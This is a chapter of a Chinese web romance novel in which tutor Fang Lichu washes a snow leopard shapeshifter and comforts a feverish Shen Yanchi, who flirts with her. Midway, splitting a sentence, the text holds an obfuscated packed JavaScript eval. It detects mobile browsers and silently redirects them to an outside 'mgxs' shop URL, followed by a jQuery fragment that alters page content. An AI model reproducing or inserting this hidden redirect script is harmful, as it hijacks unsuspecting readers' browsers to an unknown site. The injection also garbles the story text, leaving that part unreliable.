领养的事暂时被搁置在一边,线上领养不太好审核,方梨初回去刷了一宿的社交软件,给她推了一堆什么领养后小猫被虐待的帖子,看得方梨初更纠结了。
本来想送到陈倾念家里,后来想想她家里一猫一狗已经够闹腾了,再送去只魔丸家里过年可以不用买鞭炮了,听叫声就已经够响了。
“叮”
方梨初点开微信,是沈晏迟发来的一张图片。
昏暗灯光里,男人修长的手指夹着一个发卡,方梨初一眼就认出那是她白天戴在头上的,不知道什么时候到了沈晏迟手里。
方梨初眼尖瞥到一处,顿时双指放大照片。
沈晏迟应该是刚洗完澡,漫不经心地拿起发卡拍照,依稀能看见若隐若现的腹肌。
方梨初:「!我说怎么找不到了,原来在沈总那里。」
沈晏迟擦了擦腹肌上的水,看着毫无反应的方梨初,难道是他拍的太隐晦了?
沈晏迟:「嗯。在座位底下看见的。」
方梨初趴在枕头上啪嗒啪嗒打字:「啊,原来是这样。那明天我去拿。」
「对啦,沈总如果忙的话不用来接我。」
沈晏迟垂着眼,眼神晦暗不明。
沈晏迟:「没事,不忙。」
方梨初:「哦哦。」
两人的对话最终以沈晏迟发来的晚安结束,但那是方梨初早已沉入梦乡,沈晏迟那句晚安总归是没得到回复。
……
“堆堆,给你放好猫粮了,饿了自己吃。”
方梨初挎着个单肩包,临走时瞥见镜子里的自己,又皱着眉返回去换了根口红。
现在看起来有气色多了。
在楼下看见熟悉的车,方梨初笑着走上前拉开车门:“沈总早……”
对上一张陌生的脸,方梨初的笑容僵在脸上,那句早上好也被咽了回去。
“方小姐是吗?沈总公司有早会,派我来接您。”
“哦。”
方梨初语气有些低落,拉开后座的门。
司机同样沉默寡言,但总感觉车里氛围僵持的贵一千。
方梨初盘算着今天中午吃什么,昨天她跟赵管家发消息说今天不用做她的午饭。
好久没吃外卖了,方梨初还有点想念,刚好新开了一家饭店,离沈家不远,吃完补个觉下午还能继续上课。
方梨初算盘打得精妙,脸上盛满笑意。
司机小心翼翼地观察着方梨初,目送人下车后才给沈晏迟发去消息。
「沈总,方小姐已经安全送到,她看起来很高兴。」
沈晏迟没有回复,司机也习以为常,毕竟这些大老板怎么可能天天有时间回下属消息呢?
方梨初刚一进门,眼神一亮,沈鞘正皱着眉,脸上一脸为难,站在沙发上,双手不知道捧着什么东西高高举过头顶。
小迟扒着沈鞘的衣服,鼻尖耸动,目标就是他手里的东西。
沈鞘的裤子都快被他扒掉了,但一去扯裤子,小叔肯定能瞅准时机把他盘子里的年糕片吃了。
沈鞘左右为难,终于看见站在门口看热闹的方梨初。
沈鞘急忙求救:“初初老师!快把小……快把小迟拉开。”
沈鞘一着急差点把小叔喊了出去,好在方梨初注意力放在小迟身上,并没有听见沈鞘的口误。
方梨初:“你捧着什么呀?把小迟馋成这样?”
沈鞘艰难地踮着脚尖,把盘子往头顶松了松,他的裤子真的要被扒掉了!
沈鞘:“我自己炸的年糕片,想让初初老师尝尝的,但是……但是……”
幸好方梨初最后把小迟拉开,沈鞘这才松了口气,从沙发上跳下来。
小迟见了方梨初,秒变夹子小猫。
窝在方梨初怀里哼哼唧唧撒娇,看得是沈鞘艳羡又心酸。
方梨初揉着小迟的脑袋,忍着把脸埋进他肚子的冲动,“你多大了还欺负小鞘?”
小迟通人性地用爪子捂着耳朵,就好像这样就听不见方梨初的絮叨似的。
方梨初环顾四周,没有看到闹腾的宋硕。
方梨初:“宋硕今天不来吗?”
沈鞘挠着耳朵:“应该是又睡过头了,没事的。”
方梨初点头,对上沈鞘亮晶晶的眼神,她指了指盘子:“专门给老师做的吗?”
沈鞘不好意思地点点头。
方梨初夹了片年糕片放嘴里,眼神一亮,竖着大拇指:“好吃!”
沈鞘把盘子往前送了送:“那老师多吃一点。”
方梨初一边吃一边检查给沈鞘留的作业,发现他不仅全做对了,甚至还举一反三给自己出了很多题。
方梨初抬头时就看见沈鞘跟小迟都专注地看着她。
方梨初:“完成地特别好,今天就没有额外的作业了。”
“小鞘想干什么都行。”
沈鞘:“我想画画,赵爷爷给我买了一整套画画工具,我还没来得及拆呢。”
“初初老师可以和我一起去拆吗?”
“好嗷。”方梨初答应得迅速,刚起身就被绊住脚。
她欲哭无泪地看着圈着她小腿的雪豹,“让我去帮小鞘拿一下东西呀。”
雪豹嗷呜了声,爪子圈地更紧了。
沈鞘:“没事老师,我自己拿的动,你等我一下。”
方梨初只好作罢,坐在沙发时不时揉着雪豹柔软的毛发。
昨天晚上她发出去的收养帖子,刚一看已经有很多人回复了。
方梨初没有心急,挨个点进他们主页翻看了一圈,把一些明显不靠谱的来凑热闹的都pass了。
筛选了一圈,只剩下寥寥无几。
方梨初挨个私信他们,要求提供一下资料。
“老师。”
她抬起头,沈鞘已经把画笔全都搬了过来,见状方梨初收起手机,打算等会吃饭的时候再挨个回复,反正心急吃不了热豆腐。
沈鞘拿着画笔,一笔一划地慢吞吞照着手机上找来的图描着。
颜料就放在他脚边,方梨初正准备过去,就看见一道银白色的身影抢先一步扑了过去。
咣当一声。
两个人都愣了。
小迟一时没刹住车,头一下子撞在颜料桶上,撒了一地,连它身上都沾了一身。
方梨初目瞪口呆地看着眼前的混乱场景,偏偏这个时候宋硕高兴的声音挤了进来。
“老师,小鞘,你们是在玩颜料吗?”
“我也要玩!”
哈士奇兴奋的声音响起,方梨初急忙去阻拦,但为时已晚,宋硕已经变回原形一头扎了进去。
方梨初:“……”
现在好了,收获了一只绿色雪豹和蓝色哈士奇。
可以参加走近科学节目了。
只顾着收拾残局,方梨初没看到跟在宋硕后面进来两人。
直到宋硕变回去顶着一头蓝毛笑嘻嘻喊了句妈妈,方梨初才反应过来。
方梨初:“呃……宋硕妈妈您好。”
宋硕妈突然激动起来,握着方梨初的手不放,方梨初被吓了一跳。
宋硕妈:“哎呀是小方吧,我听宋翊那小子说了,你愿意教我们家宋硕真是感谢啊,不瞒你说这小子可太让我们头疼了。”
方梨初被宋硕妈妈的热情吓到,不自然地扯了扯嘴角。
宋硕扯着他妈妈的衣服下摆:“妈,我哥都说了让你来了收敛一点不要吓到方老师。”
宋硕妈妈尴尬地捋了捋头发,不好意思地开口:“哎呀方老师我是太激动了,请你见谅哈。”
“我们家宋硕从小就调皮捣蛋,不过也跟他原形的天性有关系。”
说到这个,宋硕妈妈瞪了眼一旁默不作声的丈夫:“都是遗传我老公的,方老师你见谅。”
“宋硕皮糙肉厚的,要是上课不听你的话,你就狠狠地打,兽人恢复能力也快,不到一天就能下地活蹦乱跳了。”
方梨初啊了声,没敢应声。
其实她想说,宋硕这个性格可不像是遗传了爸爸的。
倒和风风火火的宋硕妈妈很像,母子俩都是性子急。
看着宋硕的蓝毛跟一旁不知所措的小迟,方梨初叹了口气终于找到机会把自己的手抽了回来。
方梨初:“阿姨,我们先给宋硕洗个澡吧,颜料在身上也不舒服。”
“哎呀,不用洗的,让他变回原形去泳池游一圈就行了。”
“啊?”
方梨初世界观在短短时间内重塑了两次。
但拗不过,就只能随他去了。
但小迟可不能这样敷衍过去,反正上午也没事,经这一闹估计沈鞘也很难静下心画画了。
方梨初:“小鞘,你去问问赵管家能不能扯跟水管我们待会给小迟洗个澡好不好?”
沈鞘点点头,小心躲开地上的颜料,快步跑了出去。
雪豹嗷呜一声,大有一下子扑过来的架势,方梨初及时呵止它,不然她刚买的裙子就遭殃了。
宋硕刚好从泳池里洗干净出来,随意擦干头发就扑了过来。
宋硕:“老师你看我洗干净了!”
方梨初避无可避,只能把人接了满怀。
雪豹嗷呜一声,受伤地看着方梨初,好像在说凭什么他可以我不可以?
方梨初心虚地顾左右而言他,撇开眼不去跟雪豹对视。
赵管家很快在花园里扯了根水管出来,一行人从客厅挪到花园开阔处,宋硕黏在父母身边,各自搬了个凳子坐在一旁。
方梨初正准备洗雪豹,突然想起来宋硕的作业还没写。
方梨初:“宋硕!”
宋硕腰板一下子挺直:“方老师!”
方梨初被他逗笑:“你作业还没写完哦,我待会要检查的。”
宋硕一张脸顿时苦哈哈。
雪豹眼神里跃跃欲试遮都遮不住,方梨初担心它害怕应激,最开始开的很小,先让它适应着。
哪知道雪豹适应地很好,甚至还想自己去开开关。
方梨初索性开大水,任凭它在那里玩了。
洗完澡的雪豹简直就像一个被嗦过的芒果核,看得方梨初忍不住笑。
就连沈鞘也没忍住抿着唇笑,趁方梨初不注意还给雪豹拍了张照。
耶,小叔黑照加一。
赵管家乐呵呵看着这一幕,莫名觉得有些泪目,别过头擦了擦眼角。
宋硕写作业写地扭七八歪,一只手端着下巴,竖起耳朵听他爸妈聊八卦。
“那不会是晏迟那孩子吧。”
“不然呢?沈家还有别的雪豹。”
“那怎么……哎呦方老师这么大胆。”
“说你榆木脑袋你还不信,还没看懂吗?说不定方老师以后就是沈家的当家主母了。”
“别说是给原形洗澡,就算方老师提出来给雪豹剃毛,你觉得晏迟那孩子会拒绝吗?”
方梨初不知道这儿弯弯绕绕,给雪豹擦毛擦的起劲。
方梨初:“好了,跑两圈就干了。”
趁着一群人在这玩闹,赵管家吩咐厨房做点甜品送过来。
宋翊好不容易睡醒,一边伸着懒腰一边往这看,不看不知道一看吓一跳。
他妈不知道从哪抽了根皮带在那训斥他的便宜弟弟。
他爸,哦。
皮带是他爸的,他爸一边扯着西装裤一边阻拦老婆不要给孩子太大压力。
至于方梨初,宋翊挑眉,他发小这是打算非主流一波?
身上还带着零星点点的绿色,乍一看跟挑染似的。
这大清早的还真热闹,宋翊笑着摇头。
宋翊人还没到,声音先传到每个人的耳朵里。
宋翊:“怎么都这么热闹,没人叫叫我呢?”
还没等其他人开口,他妈先拆台了。
“白天不睡晚上不醒的,你指望我们谁去叫你,你看看你弟弟,都做对好几道题了。”
宋翊俯下身子瞥了眼,1+1等于几。
宋翊:“……”
为什么沈鞘做的是小学三年级的题,到了他弟弟这里就变成1+1等于几这种弱智题了。
难道方梨初也从他弟弟的表面看到实质了吗?
甜点送了上来,一群人终究是热热闹闹堵住了嘴,霎时间只有咀嚼食物的声音。
午饭方梨初本来说好了要吃外卖,哪成想宋硕妈妈来了,说什么都要给方梨初露一手,方梨初拗不过她,只能留下来吃午饭。
就这一会功夫,小迟不知道跑哪去了。
方梨初正打算找呢,抬眼看见沈晏迟从楼上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482681|201839||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走了下来,脸色带着红润,最显眼的是他短袖衣领处的发夹。
明显女生的物件。
宋硕妈妈挤了挤眼神,示意老公去看,可惜后者根本没有get到她的意思。
方梨初:“沈……沈总,原来你在家啊。”
那早上司机说沈晏迟公司有事。
沈晏迟:“嗯……有点不舒服,所以在家休息了一会,听见你们在下面玩闹的声音才想着下来看看。”
方梨初不好意思地摸着鼻尖:“抱歉啊,打扰你休息了,主要是宋硕跟小迟一头扎进颜料桶里了,给他们洗澡的时候废了点时间。”
“哎说起来小迟……”
方梨初环顾一周,早已不见小迟的身影。
沈鞘端着奶茶,左看右看,忍不住叹气。
初初老师,小迟远在天边近在眼前呀!
沈晏迟:“没事,它野惯了,不用管他。”
他掩着唇闷咳两声,倒有种病态美的感觉。
方梨初:“沈总哪里不舒服呀,感冒了吗?”
沈晏迟对答如流:“昨天睡觉空调温度调低了。”
“哦哦。”
方梨初指了指沈晏迟衣领的发卡:“这个能还给我了吗?”
沈晏迟手指摩挲着,半晌才抬眼,方梨初正等着沈晏迟还给她呢,哪成想他摩挲了半天,来了句:“我觉得跟我的短袖还挺配的。”
方梨初:“啊。那沈总戴着吧。”
需不需要她把拼夕夕购物链接分享一下?
宋翊被自己兄弟的声音恶心了一下,还没来得及吐槽就听见自己母上大人在那发表言论:“哪是发卡和短袖配呀,晏迟是想说方老师和他配吧哈哈哈。”
宋翊:“……”
幸好离得远没被听到。
沈晏迟:“沈鞘没有惹你生气吧?”
方梨初感到莫名其妙,摇摇头:“没有呀,沈鞘很乖的。”
沈晏迟嗯了声,整个人有些晃神,他捏着眉骨,抬眼看着后面看热闹的几人。
“梅姨,宋叔。”
“哎。”
被唤作梅姨的夫人笑眯眯拢了拢头发:“晏迟啊,不舒服就待会下来呗,阿姨马上做好饭了。”
“一定要让方老师尝尝我的手艺。”
沈晏迟浅笑:“麻烦梅姨了。”
“不麻烦不麻烦,你去沙发上等着吧,带着方老师哈,别学小孩子脾气,别冷脸哈。”
沈晏迟点点头。
倒是方梨初莫名感到尴尬,怎么有种她和沈晏迟是新婚夫妇的感觉。
宋翊刚抬脚,就听见。
“臭小子跑什么呢?跟你爸来给我打下手。”
宋翊看看在沙发上装柔弱靠在方梨初肩膀上博取同情的沈晏迟,又看看一旁玩得不亦乐乎的宋硕跟沈鞘。
忍不住灵魂发问:“妈,你要爱做饭咱家不能做吗?”
“臭小子你懂什么,活该单身一辈子。”
宋翊:“……”
说不过就算了,怎么还人身攻击。
……
方梨初抿着唇,一脸担忧地看着沈晏迟:“很不舒服吗?”
她伸出手碰了碰沈晏迟的额头,被热度吓了一跳。
沈晏迟的额头很烫。
“有没有吃药啊?”
沈晏迟摇摇头,闭着眼靠在方梨初肩膀上。
方梨初:“那可不行,药在哪里?先吃药。”
见方梨初有起身的意思,沈晏迟闭着眼精准握着方梨初的手腕,放在脸侧蹭了蹭,语气委屈:“方老师不要走。”
宋翊在厨房一边择菜,一边透过透明门观察着他们两人。
“哇。好大一口绿茶。”
“你懂什么!追老婆就得这样。你和你爸都一个德行。”
沈晏迟似乎很疲惫,连声音都染上虚弱看起来好不可怜。
“陪我坐会儿吧方老师。”
方梨初无奈只好调整坐姿,让沈晏迟靠的再舒服一些。
温热的呼吸打在锁骨上,方梨初一侧耳朵红得吓人,她忍不住伸出手描摹着沈晏迟的眉眼。
沈鞘见状穿好鞋子,跑到客房翻出来常用的药,端了杯水递给方梨初。
沈鞘:“方老师,药在这。”
方梨初:“谢谢小鞘。”
方梨初:“沈总?”
沈晏迟紧闭着眼睛像是没有听到。
方梨初只好小心翼翼地一手扶着他的脑袋,一手把药抵在他唇角。
“吃药了沈总。”
方梨初一顿,怎么感觉这么像吃药了大郎呢?
沈晏迟掀起眼皮,眼底红血丝清晰可见:“不是说好了叫名字吗?怎么还是沈总沈总的叫?就连宋翊都比我亲密……”
沈晏迟声音越来越小,后半句方梨初几乎没有听清。
见沈晏迟长嘴,方梨初眼疾手快地把药塞了进去,水杯抵着他的嘴唇。
像是哄沈鞘那样轻声哄着:“沈……沈晏迟,喝药了。”
听到想要的答案,沈晏迟缓缓张开眼睛,目不转睛地盯着方梨初,就着这个动作把药连同水吞了进去。
沈晏迟:“奖励……”
方梨初:“什么?”
沈晏迟说的小声,方梨初没有听清,下意识追问。
沈晏迟蹭着方梨初的颈侧,柔顺的头发接触皮肤带来阵阵痒意。
“沈鞘写完作业还有奖励……”
“那我呢?方老师?”
“我乖乖喝完药就没有奖励吗?不能厚此薄彼啊……”
方梨初一张脸羞红,偏偏沈晏迟以一种极其依赖的姿势靠着她,语气可怜。
和平日里她所熟悉的沈晏迟完全不一样,就像是破开那层冷淡的外表,方梨初终于窥见了他内里的情绪。
方梨初掌心冒汗,忍不住问:“你想要什么奖励……”
沈晏迟闭着眼睛默不作声,仿佛那句呢喃哀求只是方梨初的错觉。
方梨初心底某处地方松动,缓缓冒出新芽。
她缓了口气,刚想冷静一下,掌心传来温热的触感。
她低头愣住,沈晏迟一只手挤在她掌心,脸颊上有什么东西蹭过,柔软又温热。
方梨初眨了眨眼,反应过来。
是沈晏迟的唇瓣。